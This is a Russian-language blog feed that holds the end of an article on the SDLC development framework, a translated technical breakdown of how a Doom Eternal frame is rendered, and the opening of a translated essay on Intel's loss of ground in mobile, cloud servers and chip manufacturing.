На этапе разработки вы стремитесь не столько отвечать на вопросы, сколько произвести результаты, или, говоря точнее, вам необходимо склоняться к действиям и создать прототип или систему, испытать которую смогут другие. На этом этапе ваша задача заручиться доверием заинтересованных сторон через воплощение образа мышления разработчика. Для соответствия результата ожиданиям критично при начале разработки следовать первым трем этапам.

Доставайте ваш компьютер, убедитесь, что окружение способствует рабочей атмосфере, хватайте ваш горячий кофе и приступайте к делу.

Этап #5: Тестирование


Сотрудники в футболках с надписями вида Разрабатывать круто, тестировать не очень были для меня привычным зрелищем, но вы должны понимать, что не получится создать финальную версию продукта, пока вы на нем собаку не съедите. По завершению этого этапа вы должны будете в состоянии обеспечить рабочее состояние продукта. Отслеживайте ошибки и неточности, выслушивайте чужие точки зрения, и глубоко погружайтесь в вопрос с целью поиска тормозящих выход финального продукта ошибок. Вам просто необходимо обеспечить прочную основу.

Этап #6: Развертывание


Возьмите ваш продукт и пользуйтесь им. Предложите заинтересованным сторонам из первого этапа пользоваться вашим продуктом в естественных условиях, начните отслеживать вовлеченность в продажи. Снова и снова прислушивайтесь к пользователям, ведь благодаря обратной связи через опросы и рекомендации вы сможете вернуться к первой фазе и начать собирать новые требования. И не забудьте отпраздновать релиз.

Объединяя все вместе: подход SDLC


Фреймворк SDLC существует для помощи в сокращении времени вывода продукта на рынок, обеспечении более качественной производительности, экономии бюджета и повышения потенциальной пользы вашего продукта для заинтересованных сторон, о которых вы заботитесь. Особенно хорошо SDLC помогает при разработке ПО, поскольку он заставляет вас трудиться в строгих рамках. Другими словами, для обеспечения корректных действий в корректное время и по корректным причинам SDLC заставит вас следовать каждому необходимому шагу. Думайте о SDLC как о плане по достижению успеха: слепое ему следование ничего вам не гарантирует, но повышает вероятность что вы останетесь довольны результатами.

Разработка ПО, как все мы с вами знаем, это тема обширная, и она может затрагивать вопросы от инструментов веб-дизайна и онлайн форм до более надежного машинного обучения или систем бэкенда. Пишете ли вы код в браузере или занимаетесь более надежной разработкой, план действий вам необходим.

Разработка ПО может быть трудным, и в то же время полезным занятием.

SDLC это план по ведению технических работ, но если смотреть шире, то можно воспринимать его как руководство по жизни. Применять SDLC можно к множеству тем, например, создание контента в SaaS модели ведется по циклу SDLC. Перед написанием контента автор сначала определяет требования, планирует, что именно он будет писать, и лишь затем фактически прикладывает перо к бумаге. Также SDLC отлично подходит для технологических предпринимателей.

Мой друг хотел основать лучшее рекламное агентство для Facebook и обратился ко мне и другим специалистам за помощью. Несмотря на его большие амбиции, я посоветовал ему воспользоваться фреймворком SDLC чтобы сначала провести анализ требований. Я спросил его: Какие проблемы ты хочешь решать? Чего хотят твои пользователи? И самое главное, как эта платформа поможет тебе достичь твоих целей?

Сформулировав эти вопросы вокруг SDLC, он смог лучше отточить свой финальный продукт и предоставить нужные инструменты правильным пользователям. Он сузил свой кругозор до более строгого определения его проблемной области и смог выделить ресурсы на планирование еще до того как он начал делать что-либо еще.

Затем он перешел к созданию самого лучшего сервиса по росту на Instagram, но его интересы постоянно развиваются, и сейчас уже есть программы-планировщики деятельности в социальных сетях в любом масштабе. И в итоге ему придется вернуться к основам: анализу требований.

Принятие пользователями его технологий доказывает, что при правильном применении SDLC можно достичь основательных технологических и финансовых результатов. Однако, как и при развитии бизнеса, разработка ПО никогда не заканчивается.

Следовательно, цикл продолжается.

Вне зависимости от того что вы создаете, компанию ли, инструмент, сложную программу либо полностью новый продукт, чтобы обеспечить качество и сосредоточиться на пользователях, хорошим решением будет взять на вооружение SDLC.

Фраза Создавать круто должна стать вашей путеводной звездой, а SDLC инструментом и помощником.
Подробнее..

Перевод Как рендерится кадр DOOM Ethernal

11.09.2020 14:12:59 | Автор: admin


Вступление


Doom Eternal не нуждается в отдельном представлении: это прямой преемник Doom 2016, разработанный благодаря седьмой итерации id Tech, внутреннего движка студии id Software. В свое время меня поразило и высокое качество визуальной составляющей Doom 2016, и простота и элегантность технических решений. В этом отношении Doom Eternal превосходит своего предшественника во многих областях, и некоторые из них достойны детального разбора. В этой аналитической статье я постараюсь обсудить их все.

Мой анализ вдохновлен трудом Adrian Courrges про Doom 2016 (перевод). Я считаю, что подобные работы позволяют взглянуть на подходы к решению некоторых проблем рендеринга AAA-проектов и тем самым становятся превосходными обучающими материалами. В этом анализе я планирую обсудить общие особенности и не погружаться слишком глубоко в тонкости каждого способа и прохода рендеринга. Кроме того, некоторые проходы в Doom Eternal почти не отличаются от своих аналогов в Doom 2016 и уже были разобраны в труде Adrian Courrges, поэтому я могу их пропустить.

Хочу особым образом отметить строго обучающий характер текущей статьи. Я никоим образом не поддерживаю реверс-инжиниринг продуктов с целью кражи интеллектуальной собственности или иного злого умысла. Если вы еще не успели сыграть в Doom Eternal, можете не беспокоиться: я разбирал лишь самое начало игры, поэтому спойлеры вам не грозят.

Итак, приступим.

С выходом id Tech 7 переход движка с OpenGL на Vulkan API позволил разработчикам эффективнее работать с особенностями текущего поколения графических процессоров, например несвязанными ресурсами (bindless resources).

Один кадр в Doom Eternal




Выше мы можем видеть близкую к началу секцию игры: интерьер с несколькими противниками и объемным освещением. По аналогии с его предшественником, процессом визуализации в Doom Eternal заведует прямой рендеринг, однако если Doom 2016 вынужден проводить прямой рендеринг совместно с G-буферизацией отражающих поверхностей, в нашем случае буфер не используется и прямой рендеринг берет на себя все задачи.

Уход от мегатекстур


С выходом созданной на движке id Tech 5 игры Rage мир познакомился с концептом реализации текстур под названием мегатекстуры. Этот метод применяется в Doom 2016 и на каждый кадр он рендерит так называемую виртуальную текстуру с информацией о видимых текстурах. Виртуальная текстура анализируется в следующем кадре, чтобы определить какие текстуры следует подгрузить с диска. Однако у мегатекстур есть очевидная проблема: как только текстура попадает поле зрения, подгружать ее уже поздновато, поэтому на первых нескольких кадрах после появления текстура выглядит размыто. С выходом id Tech 7 разработчики отказались от такого метода.

Скиннинг через графический процессор


Обычно еще до отрисовки каких-либо текстур и шейдинга оценку скиннинга проводит вершинный шейдер. Скиннинг id Tech 7 проводится заранее вычислительным шейдером с записью итоговых вершин в буфер. Благодаря такому подходу вершинному шейдеру больше не нужны данные скиннинга, и так как при каждом проходе геометрии он больше не проводится, в итоге перестановки шейдеров случаются реже.

Ключевой разницей между скиннингом в вычислительном шейдере и вершинном шейдере является запись результата в промежуточный буфер. Как и в вершинном шейдере, для каждой вершины поток вычислительного шейдера получает преобразование каждой влияющей на вершину кости. Затем он изменяет положение вершины каждым преобразованием кости и складывает все новые позиции в соответствии с хранимым в вершине весом скинов. В итоге вершинный шейдер может воспользоваться результатом из буфера для его интерпретации в виде статичной сетки.

По ссылке можно ознакомиться с отличной статьей о скиннинге через вычислительный шейдер за авторством Jnos Turnszki.

Полезно также отметить, что в Doom Eternal используется интересный вид кеширования Alembic Cache, сравнимый с сильно сжатым обратно воспроизводимым видео. В таких кешах хранится запеченная анимация для выдачи и разжатия в ходе исполнения программы. Цитируя технический анализ Digital Foundry, Alembic Cache применяется в широком диапазоне анимаций, начиная с масштабных кинематографичных сцен и заканчивая крохотными щупальцами на полу. Особенно удобен такой подход для анимаций со сложностями реализации через скиновую анимацию, например для органики и симуляции тканей. Если вас заинтересовала эта технология, рекомендую ознакомиться с презентацией Axel Gneiting на Siggraph 2014.

Карты теней


Следующим этапом является рендеринг теней, и подход к генерации их карт на первый взгляд у id Tech 7 и его предшественника не отличается.

Как можно видеть ниже, тени рендерятся в большую текстуру глубиной 24 бита и размером 4096 на 8196 пикселей, местами различаясь по уровню качества. Текстура не меняется между кадрами, и согласно презентации Devil is in the Details на Siggraph 2016, статичная геометрия кешируется в карте теней, чтобы не перерисовать ее для каждого кадра. Идея сама по себе проста: нам не нужно обновлять тени до тех пор, пока перед источником света не начнется движение, и таким образом мы можем объявить кешированную карту теней: обычную карту со статичной геометрией, так как мы полагаем, что геометрия не меняется. Если в конусе обзора движется динамический объект, кешированная карта теней копируется в основную, и поверх этого перерисовывается динамическая геометрия. Такой подход позволяет не перерисовывать всю сцену в конусе обзора при каждом ее обновлении. Естественно, при смещении света всю сцену придется перерисовать с нуля.

Для сглаживания краев теней при сэмплировании карты применяется 3х3 PCF сэмплинг. Поскольку солнечный свет обычно покрывает значительную часть окружения, для лучшего распределения качества используются каскадные теневые карты.

Для примера можно взглянуть на атлас теневых карт. Чем больше значимость света, крупнее область на экране или ближе объект к камере, тем крупнее будет выделенный сегмент атласа это необходимо для повышенной детализации. Подобные эвристики оцениваются динамически.



Скорость и предварительный проход обработки глубины


Начиная с оружия игрока, в целевую глубину последовательно рендерятся непрозрачная, статическая и динамическая геометрии. Обычно, чтобы при потенциальном пересечении геометрий не делать лишних вычислений пиксельных шейдеров, проводится предварительный проход обработки глубины с добавлением результата в буфер. Поскольку перерисовка пикселей при их пересечении создает лишние перерасчеты и в итоге негативно сказывается на производительности, важность такого подхода становится неоценима. Благодаря предварительному проходу глубины пиксельный шейдер прямого освещения может исключить лишние пиксели, сравнив их с буфером глубины еще до собственно вычислений, и тем самым сэкономить ценные ресурсы.


Оружие игрока


Статические объекты


Динамические объекты

В предварительном проходе рендерится не только глубина, но и целевой цвет. В динамической геометрии скорость рендерится через векторы движения, то есть положение текущей позиции, вычитаемое из положения пикселя на предыдущем кадре. Так как движение хранится в красном и зеленом каналах 16 битной цели рендеринга с плавающей точкой, нам достаточно знать движение по осям X и Y. В дальнейшем эта информация используется при постобработке для применения размытости и репроекции временного сглаживания. Статичной геометрии векторы движения не нужны, поскольку она двигается только относительно камеры и ее движение может быть высчитано из движения самой камеры. Как можно видеть на скриншоте ниже, движения в нашей сцене не так уж и много.



Z-иерархическая глубина


Следующий шаг это генерация иерархической mip-цепи буфера глубины: эта цепь похожа на mip карту, но вместо усреднения четырех соседних пикселей берет их максимальное значение. Такой подход часто используется в графике для множества задач, например для ускорения отражений и отбрасывания прегражденной геометрии. В нашем случае mip-цепь отбрасывает освещение и декальные текстуры, о которых мы поговорим позднее. В последнее время mip-генерацию проводят за один проход, с записью сразу в несколько mip-ов, но в Doom Eternal запись все еще ведется отдельно для каждого mip.



Декали сеток


Пока что мы не успели познакомиться с какими-либо серьезными отличиями процессов в Doom Eternal по сравнению с Doom 2016, но под эту категорию подходят декали сеток. Это небольшие декали (болты, решетки, выпуклости), которые, как и обычные декали, могут влиять на любые свойства поверхностей (нормаль, неровность, цвет). Однако типичная декаль сетки назначается художниками в ходе разработки сеток и, в отличие от стандартного размещения декалей в окружении, принадлежит своей сетке. Doom и раньше сильно полагался на декали, и текущий переход на декали сеток только повысил детализацию и гибкость графики.

Чтобы добиться такого положительного результата, следующий проход геометрии рендерит идентификаторы каждой декали в восьмибитную текстуру. В дальнейшем, при наложении теней, мы сэмплим текстуру и через идентификаторы получаем связанные с каждым вызовом отрисовки матрицы проекций. Матрица проецирует координаты пикселя из пространства мира в пространство текстур, а затем эти координаты используются для семплирования декали и ее слияния с материалом поверхности. Этот прием невероятно быстр в своем исполнении и открывает художникам широкий простор для работы с множеством декалей. Так как идентификаторы рендерятся в восьмибитную текстуру, потенциально в одной сетке может быть до 255 декалей.

Единственным условием для всего этого является привязка всех декальных текстур к процессам при отрисовке сеток. Благодаря полностью несвязанному процессу рендеринга разработчики могут связывать все декальные текстуры разом и динамически индексировать их в шейдере. Так как разработчики пользуются этим методом при реализации еще нескольких приемов в игре, подробнее о несвязанном процессе рендеринга мы поговорим позже.

Ниже мы можем видеть сетку декальных текстур. Для удобства визуализации идентификаторы покрашены в разные цвета.



Отбрасывание света и декалей


Свет в Doom Eternal полностью динамичен, и одновременно в область обзора может попадать до нескольких сотен источников. Кроме того, как мы уже отметили ранее, декали в игре имеют большое значение, например в том же Doom 2016 число декалей перевалило за тысячи. Все это требует особого подхода к отбрасыванию лишнего, иначе производительность не выдержит тяжести пиксельных шейдров.

В Doom 2016 использовался процессорный вариант кластерного отбрасываения света: свет и декали собирались в конусообрзаные фроксели, которые затем считывались в ходе шейдинга через определения индекса кластера из позиции пикселя. Размер каждого кластера составлял 256 пикселей и для сохранения квадратной формы логарифмически делился на 24 сегмента. Такой прием вскоре переняли многие другие разработчики, и похожие методы встречаются, например, в Detroit: Become Human и Just Cause.

Учитывая рост числа источников динамического освещения (сотни) и декалей (тысячи), процессорной кластеризации отбрасывания освещения в Doom Eternal уже не хватало, так как воксели становились слишком грубыми. В итоге для id Tech 7 разработчики придуман иной подход, и через исполняемые на различных этапах вычислительные шейдеры создали программный растеризатор. Сначала декали и свет связываются в гексаэдр (шестигранник) и передаются в вычислительный растеризатор, откуда вершины проецируются в экранное пространство. Затем второй вычислительный шейдер обрезает треугольники по границам экрана и собирает их в тайлы размером 256 на 256 пикселей. Одновременно с этим по аналогии с кластерным отбрасыванием отдельные элементы источников света и декалей записываются во фроксели, после чего следующий вычислительный шейдер проводит похожую процедуру под тайлы 32 на 32 пикселя. В каждом тайле прошедшие тест на глубину элементы помечаются в битовое поле. Последний вычислительный шейдер переводит битовые поля в список источников света, которые в итоге используются при проходе освещения. Что характерно, индексы элементов все еще записываются в трехмерные фроксели размером 256 на 256 пикселей по аналогии с кластерным подходом. В местах со значительным прерыванием глубины, для определения числа источников света в каждом тайле сравнивается минимальное значение и нового списка источников света, и старого списка кластерных источников.

Если вы не имели дела с традиционной растеризацией, столь насыщенное описание может оказаться для вас непонятным. При желании подробнее погрузиться в вопрос я рекомендую поисследовать общие принципы работы таких процессов, например на Scratchapixel есть очень хороший разбор темы.

Используемые для запросов игровой видимости так называемые рамки видимости тоже отбрасываются этой системой. Поскольку программная растеризация для вычислительных потоков это процесс долгий, занятость, очень вероятно, низка, и потому добавление нескольких дополнительных рамок почти не сказывается на производительности. С учетом этого, отбрасывание света, вероятно, ведется асинхронно, и таким образом итоговое влияние на производительность оказывается минимальным.

Преграждение окружающего света в экранном пространстве


Преграждение окружающего света вычисляется в половинном разрешении вполне стандартным путем: сначала 16 случайных лучей исходят из позиции каждого пикселя в полусфере, а затем при помощи буфера глубины определяются пересекающиеся с геометрией лучи. Чем больше лучей пересекает геометрии, тем больше будет преграждение. Эта техника называется преграждение направленного света в экранном пространстве (Screen Space Directional Occlusion), или SSDO, и подробное его описание за авторством Yuriy O`Donnell можно прочитать по ссылке. Вместо традиционного хранения значений преграждения в одноканальной текстуре, направленное преграждение хранится в трехкомпонентной текстуре, а итоговое преграждение определяется через скалярное произведение над нормалью пикселя.

Поскольку вычисление ведется в половинном разрешении, результат получается довольно шумным. Для повышения качества с буфером глубины применяется двустороннее размытие. Преграждение окружающего света обычно происходит на низких частотах, так что размытие обычно незаметно.



Непрозрачный прямой проход


В этом проходе многие элементы наконец встают на свои места. В отличие от Doom 2016, здесь все рендерится напрямую через несколько массивных мегашейдеров. Во всей игре предположительно около 500 процессорных состояний и дюжина макетов дескрипторов. Сначала рендерится оружие игрока, потом динамические объекты, и затем статические. Обратите внимание, что порядок не особо-то и важен, ведь благодаря препроходу глубины мы уже получили буфер глубины, и он может заранее исключать не соответствующие глубине пиксели.


Оружие игрока


Динамические объекты


Первый набор статических объектов


Второй набор статических объектов

У большинства движков AAA-игр графы шейдеров и особенности статических шейдеров позвляют разработчикам возможность креативно подходить к работе со всевозможными материалами и поверхностями, и каждый материал, каждая поверхность ведет к созданию своего собственного уникального шейдера. В результате мы сталкиваемся с невероятным многообразием перестановок шейдеров для всех возможных комбинаций особенностей движка. Однако id Tech сильно отличается от других AAA-проектов: он комбинирует почти все материалы и особенности во всего лишь несколько массивных мегашейдеров. Такой подход позволяет графическим процессам жестче объединять геометрию, что в свою очередь положительно сказывается на производительности. Позже мы еще это обсудим.

Несвязанные ресурсы


Стоит обратить внимание, что весь процесс формирования графики содержит в себе идею несвязанных ресурсов. Это значит, что вместо привязки размытия, отражений, неровности текстуры перед каждым вызовом отрисовки, весь список текстур в сцене привязывается разом. Доступ к текстурам из списка осуществляется в шейдере динамически через переданные шейдеру константами индексы. Таким образом, через любой вызов отрисовки можно получить любую текстуру, что открывает путь множеству оптимизаций, об одной из которых мы сейчас и поговорим.



Динамическое слияние вызовов отрисовки


Поверх архитектуры полностью несвязанных ресурсов все данные геометрии выделяются из одного большого буфера. В этом буфере попросту хранится смещение всей геометрии.

Здесь в игру вступает самая интересная технология idTech 7: динамическое слияние вызовов отрисовки. Она полагается на архитектуру несвязанных ресурсов и обобщенную память вершин, и в итоге значительно уменьшает число вызовов отрисовки и время работы процессора. Еще до начала какого-либо рендеринга вычислительный шейдер динамически создает непрямой буфер индексов для эффективного слияния геометрий из невзаимосвязанных сеток в единый непрямой вызов отрисовки. Без несвязанных ресурсов добиться слияния вызовов не получилось бы, поскольку оно работает с геометриями с несовпадающими свойствами материалов. В дальнейшем воспользоваться динамическим буфером индекса можно будет вновь, как для препрохода глубины, так и для препрохода освещения.

Отражения


Чаще всего для создания отражений экранного пространства вычислительный шейдер использует алгоритм raymarching. Алгоритм испускает из пикселя луч в мировое пространство в сторону отражения, которое зависит от неровности отражающей поверхности. Точно так же дело обстояло в Doom 2016, там как часть прямого прохода записывался небольшой G-буфер. Однако в Doom Eternal уже никакого G-буфера нет, и даже отражения экранного пространства вычисляются не в вычислительном шейдере по отдельности, а сразу в прямом шейдере. Интересно узнать, насколько такое отклонение в пиксельном шейдере влияет на производительность, поскольку создается ощущение, что ценой повышенной нагрузки на регистр разработчики пытались снизить количество целей рендера и как следствие сократить нагрузку на пропускную способность памяти.

Зачастую когда в текстуре экранного пространства нет необходимой информации, у соответствующих эффектов возникают артефакты визуализации. Чаще всего это заметно при отражениях экранного пространства в случаях, когда невидимые отражаемые объекты не могут отражаться. Проблема обычно решается традиционным подходом, через статичные кубические карты отражений в качестве резерва.



Но так как мегатекстуры в Doom Eternal больше не используются, в резервных текстурах тоже нет нужды.

Частицы


Симуляция


В Doom Eternal часть процессорной симуляции частиц ложится на плечи вычислительных шейдерв, поскольку у некоторых систем частиц есть зависимости от информации экранного пространства, например буфера глубины для симуляции столкновений. Тогда как другие системы частиц могут прогоняться в кадре сразу и вычисляться асинхронно, таким симуляциям предварительно необходимы данные препрохода глубины. Что характерно, в отличие от традиционной шейдерной симуляции частиц, здесь симуляция ведется через выполнение последовательности команд из хранящегося в вычислительном шейдере буфера. Каждый поток шейдера прогоняет все команды, среди которых может быть по несколько kill, emit или модификаций параметра частицы. Все это похоже на записанную в шейдере виртуальную машину. Я многое не понимаю в тонкостях работы такой симуляции, но основан подход на презентации Brandon Whitney The Destiny Particle Architecture на Siggraph 2017. Метод в презентации очень похож на описанный мною выше и используется во множестве других игр. Например, я уверен, что похожим образом в Unreal Engine 4 работает система симуляции частиц Niagara.

Освещение


По аналогии с Doom 2016 и описанному на Siggraph 2016 методу, разрешение частиц освещения отделено от собственно разрешения экрана, что дает разработчикам управлять разрешением каждой системы частиц в зависимости от качества, размера экрана и прямого управления. Для низкочастотных эффектов освещение можно предоставить в значительно более низком разрешении почти без потери в качестве по сравнению с, например, искрами, которым требуется высокое разрешение. Освещение и доминирующее направление света хранятся в двух атласах размером 2048 на 2048 пикселей, оба они доступны для каждого прохода благодаря несвязанным ресурсам, как и любая другая текстура. В дальнейшем для рендера частиц простая геометрия отрисовывается через сэмплинг этих атласов.


Увеличенный фрагмент атласа освещения.

Небо и рассеяние


Теперь мы поговорим про объемное освещение. Его генерация состоит из четырех проходов и начинается с создания 3D LUT текстуры для атмосферы неба через raymarching сквозь само небо в сторону источника света.



С первого раза можно не понять, что именно отображает текстура на картинке, но если мы повернем ее на 90 градусов и растянем по горизонтали, все станет ясно: перед нами рассеяние атмосферы. Поскольку оно более вариативно по вертикали чем по горизонтали, то и разрешение по вертикали больше. Атмосфера представлена сферой, поэтому горизонтальное вращение обычно называется долготой, а вертикальное широтой. Атмосферное рассеяние вычисляется полусферой и покрывает 360 градусов долготы и 180 градусов широты верхней части сферы. Для покрытия различных расстояний до наблюдателя в LUT текстуре содержится 32 сегмента глубины, и вместо перевычисления данных неба в каждом кадре процесс распределяется на 32 кадра.



Благодаря LUT текстуре, следующий проход вычисляет рассеяние света на наблюдаемый фроксель по аналогии с кластерным преграждением света в меньшем масштабе. Пронаблюдать несколько сегментов, от ближнего к дальнему, можно ниже.



В третьем проходе данные рассеяния для каждой клетки множатся в каждую последующую клетку в сторону обзора и пишутся в новую 3D текстуру.

В итоге поверх рендеририуемого изображения через сэмплинг только что сгенерированной 3D текстуры на основе глубины пикселей ставится объемное освещение.


До


После

Итоговое видимое небо рендерится на полусфере если попадает в обзор. В этой сцене небо в обзор не попало, но ниже можно взглянуть на пример рендера неба в сцене на открытом воздухе.



Прозрачность


По аналогии с Doom 2016, прозрачность рендерится прямым проходом после непрозрачной геометрии при наличии данных о рассеянии света. Текстура сцены при этом теряет в разрешении (downsamples), а для имитации прозрачности на основе гладкости поверхности подбирается подходящий mip-уровень. Данные о рассеянии света помогают создать изнутри поверхности визуально хорошее рассеяние.

Ниже можно видеть пример mip-цепи текстуры из сцены, где в область обзора попадает больше прозрачных поверхностей.


Для прозрачности теряют в разрешении только имеющие к ней отношение пиксели.

Пользовательский интерфейс


Обычно последним проходом в кадре становится пользовательский интерфейс. Как это обычно и происходит, интерфейс рендерится во вторичную с полным разрешением LDR (восьмибитную) цель рендера, и цвет предварительно умножается на альфа-канал. В ходе тональной компрессии интерфейс накладывается на HDR текстуру. Обычно заставить интерфейс работать с остальным HDR контентом кадра не так-то просто, но в Doom Eternal при тональной компресии интерфейс волшебным образом скалируется и выглядит естественно на фоне прочего 3D контента.



Постобработка


Первым при постобработке выступает размытость: этот двухпроходный эффект считывает данные из текстуры цвета и кастомизированного буфера скорости. Первый проход набирает четыре образца вертикальной оси, второй четыре по горизонтальной. Затем образцы цвета смешиваются в соответствии движением пикселя. Чтобы исключить смазывание, кастомизирвоанный буфер скорости должен убедиться в отсутствии ореолов, и что оружие игрока исключено из процесса.

Далее идет целевое воздействие: эта RG (двухцветная) текстура форматом 1 на 1 содержит в себе среднее значение освещения всей сцены и вычисляется путем последовательного уменьшения разрешения цветовой текстуры и получения средней освещенности группы пикселей. Чаще всего такой прием используется для имитации привыкания человеческого глаза к резкой смене окружающей яркости. Также средняя освещенность используется при вычислении воздействия в ходе тональной компрессии.



После всего этого вычисляется Bloom. Этого эффекта маловато в нашем примере и широко визуализировать его не получится, но достаточно знать, что вычисление ведется путем получения данных о цвете выше определенного предела и последовательного уменьшения разрешения текстуры для ее размытия.

Затем тональная компрессия объединяет все эффекты. Один-единственный вычислительный шейдер делает следующее:

  • Применяет искажение
  • Рендерит поверх Bloom текстуру
  • Вычисляет виньетирование, грязь на камере, хроматическую аберрацию, отблеск от линз и множество других эффектов
  • Получает значение воздействия на основе средней освещенности
  • Дает тональной компрессии распределить HDR цвета по корректным диапазонам как для LDR, так и для HDR через кастомный оператор тональной компрессии.

И наконец, сверху накладывается интерфейс.

Рендер текстуры искажений проводится еще до прохода постобработки: геометрия типа марева огня от эффектов частиц рендерится в новую цель рендера форматом с четверть исходного разрешения. В этом рендере данные искажений хранятся в красном и зеленом каналах, а преграждение в синем. Полученные данные применяются при искажении изображения на шаге тональной компрессии.



Заключение


Наш поверхностный разбор одного кадра Doom Eternal подошел к концу, хоть я и уверен, что не затронул несколько влияющих на внешний вид игры моментов. На мой взгляд, Doom Eternal это невероятный успех в техническом плане, и в будущем id Software сможет еще больше повысить планку. Команда разработчиков успешно продемонстрировала нам, как разумный подход и эффективное планирование помогли создать высококачественную игру, и я верю, что это отличный пример для подражания, равно как и обучающий материал. С нетерпением жду будущих разработок id Software.

Rip and tear, until it is done.

Справочные материалы


Подробнее..

Перевод В чём главные проблемы Intel

29.01.2021 14:10:10 | Автор: admin


Оглядываясь назад, моя статья по поводу назначения нового исполнительного директора Intel в 2013 году оказалась чрезмерно оптимистичной. Одно название чего стоит: Возможность для Intel. В реальности вышло не так за эти годы у Intel ничего не получилось, никакими возможностями она не воспользовалась.

Откуда мы знаем, что не получилось? Во-первых, спустя восемь лет Intel опять назначает нового директора (Пэт Гелсингер), но не вместо того, о котором я писал (Брайан Кржанич), а вместо его преемника (Боб Свон). Очевидно, в то самое окно возможностей компания на самом деле не попала. И теперь уже встаёт вопрос выживания компании. И даже вопрос национальной безопасности Соединённых Штатов Америки.

Проблема 1: мобильные устройства


Вторая причина, по которой заголовок 2013 года был чрезмерно оптимистичным, заключается в том, что к тому моменту Intel уже попала в серьёзную беду. Вопреки своим заявлениям, компания слишком сосредоточилась на скорости CPU и слишком пренебрежительно отнеслась к энергопотреблению, поэтому не смогла сделать процессор для iPhone, и, несмотря на годы попыток, не смогла попасть на Android.

Ущерб для компании оказался глубже, чем просто упущенная выгода; за последние два десятилетия стоимость производства всё более маленьких и эффективных процессоров взлетела до миллиардов долларов. Это означает, что компании, инвестирующие в новые размеры узлов, должны генерировать соизмеримо большой доход, чтобы окупить свои инвестиции. Одним из отличных источников увеличения доходов для отрасли стали миллиарды смартфонов, проданных за последнее десятилетие. Однако Intel не получила ни капли из этих доходов, а продажи ПК снижаются в течение многих лет.

Когда речь идёт о миллиардных инвестициях в строительство фабрик следующего поколения, то вы или преуспеваете на рынке, или банкрот. Intel смогла сохранить миллиардные доходы благодаря революции в другой отрасли: облачных вычислениях.

Проблема 2: успех на серверах


Intel захватила этот рынок не так давно. Изначально на нём доминировали интегрированные компании, такие как Sun, с соответствующими ценами, но благодаря взрыву продаж персональных компьютеров Intel быстро улучшала производительность и снижала цены CPU, особенно по отношению к производительности. Конечно, ПК не дотягивали до надёжности интегрированных серверов, но на рубеже веков Google поняла, что масштаб и сложность услуг делают невозможным создание действительно надёжного стека. Решением стали отказоустойчивые серверы с горячей заменой вышедших из строя компонентов. Это позволило строить дата-центры на относительно дешёвых процессорах x86.



В течение двух следующих десятилетий подход Google приняли все крупные ЦОДы, так что x86 стала архитектурой по умолчанию для серверов. Основную выгоду из этого извлекла Intel, поскольку именно она делала лучшие процессоры x86, особенно для серверных приложений. Это связано как с собственным дизайном Intel, так и с её великолепными фабриками. AMD иногда угрожала действующему лидеру, но только в ноутбуках низкого уровня, а вовсе не в дата-центрах.

Таким образом, Intel избежала судьбы Microsoft в постдесктопную эпоху: Microsoft пролетела не только мимо мобильных устройств, но и мимо серверов, которые работают под управлением Linux, а не Windows. Конечно, компания как может поддерживает Windows и на компьютерах (через Office), и на серверах (через Azure). Однако всё выходит наоборот: то, что недавно подпитывало рост компании, становится концом Windows, поскольку Office переходит в облако с работой на всех устройствах, а Azure переходит на Linux. В обоих случаях Microsoft пришлось признать, что их власть теперь не в контроле над API, а в обслуживании уже существующих клиентов в новом масштабе.

В упомянутой статье о перспективах Intel упоминался аналогичный стратегический разворот. Intel долго опиралась на интеграцию проектирования и производства. В мобильную эпоху x86 вслед за Windows навсегда уходит в нишевый десктопный рынок. Но всё равно была возможность сохранить бизнес, если начать принимать заказы на производство от сторонних клиентов.

Большинство компаний сами не выпускают чипы. Они создают дизайн и отдают на завод. AMD, Nvidia, Qualcomm, MediaTek, Apple ни у кого нет собственных заводов. Безусловно, это имеет смысл: производство полупроводников, возможно, самая капиталоёмкая отрасль в мире, так что AMD, Qualcomm и другие хотят заниматься более прибыльными проектами с более высокой маржой.

Однако проектирование микросхем становится всё более стандартным. Почти все чипы основаны на архитектуре ARM. Оплатив лицензию, компании вроде Apple могут создавать собственные модификации и заказывать их производство. Дизайн немножко уникален, но в мобильных устройствах это не самое принципиальное. Здесь никогда не будет доминировать единый дизайн от одного разработчика, как Intel доминировала на десктопном рынке.

С другой стороны, именно производственные мощности становятся более дефицитными и, следовательно, более ценными. На самом деле в мире только четыре крупных производственных компании: Samsung, GlobalFoundries, Taiwan Semiconductor Manufacturing Company (TSMC) и Intel. Только четыре компании могут создавать чипы, которые сегодня установлены в каждом мобильном устройстве, а завтра будут установлены вообще везде.

Огромный спрос, дефицит компонентов, высочайшие барьеры для входа. Получается, сейчас отличное время для производства микросхем. Это потенциально отличное время для Intel. Ведь из этих четырёх компаний она самая продвинутая, со значительным отрывом. Единственная проблема заключается в том, что Intel всегда видит себя дизайнерской компанией.

Кстати, моя рекомендация не означает отказ от x86, я добавил в сноске:

Конечно, они продолжат проектировать x86, но это будет не единственный их бизнес, а со временем даже и не основной.

На самом деле, бизнес x86 оказался слишком прибыльным, чтобы пойти на такой радикальный шаг. Это именно та проблема, которая ведёт к разрушению. Да, Intel избежала судьбы Microsoft, но при этом не испытала сильнейшей финансовой боли, которая необходима как стимул для такой кардинальной трансформации бизнеса (например, только после краха рынка памяти в 1984 году Энди Гроув в Intel решил полностью сосредоточиться на производстве процессоров).

Проблема 3: производство




Пока Intel тормозила с принятием решений, за последнее десятилетие модульно-ориентированная TSMC получила огромные заказы на мобильные чипы и установила лучшее в мире оборудование по производству микросхем от ASML. В модульной экосистеме все компании получают часть прибыли от растущего мобильного рынка и в результате этого бума производственные мощности TSMC превзошли Intel.

Это угрожает Intel по нескольким фронтам:

  • Intel окончательно потеряла рынок маков, в том числе из-за выдающейся производительности нового чипа M1. Но важно отметить причины такой производительности это не только дизайн Apple, но и 5-нм техпроцесс TSMC.
  • Десктопные процессоры AMD теперь быстрее, чем у Intel, и чрезвычайно конкурентоспособны на серверах. Опять же, преимущество AMD отчасти связано с улучшением дизайна, но не менее важным является производство по 7-нм процессу TSMC.
  • Крупные облачные провайдеры всё больше инвестируют в разработку собственных чипов. Например, Amazon уже выпустила вторую версию процессора Graviton ARM, на котором будет работать таймлайн твиттера. Одно из преимуществ Graviton его архитектура, а другое ну, вы уже поняли производство компанией TSMC по тому же 7-нм техпроцессу (который конкурирует с наконец-то запущенным 10-нм техпроцессом Intel).

Короче говоря, Intel теряет долю на рынке, ей угрожает AMD на x86-серверах и облачные компании типа Amazon с собственными процессорами. И я даже не упомянул других специализированных решений, таких как приложения на GPU для машинного обучения, которые разрабатывает Nvidia и производит Samsung.

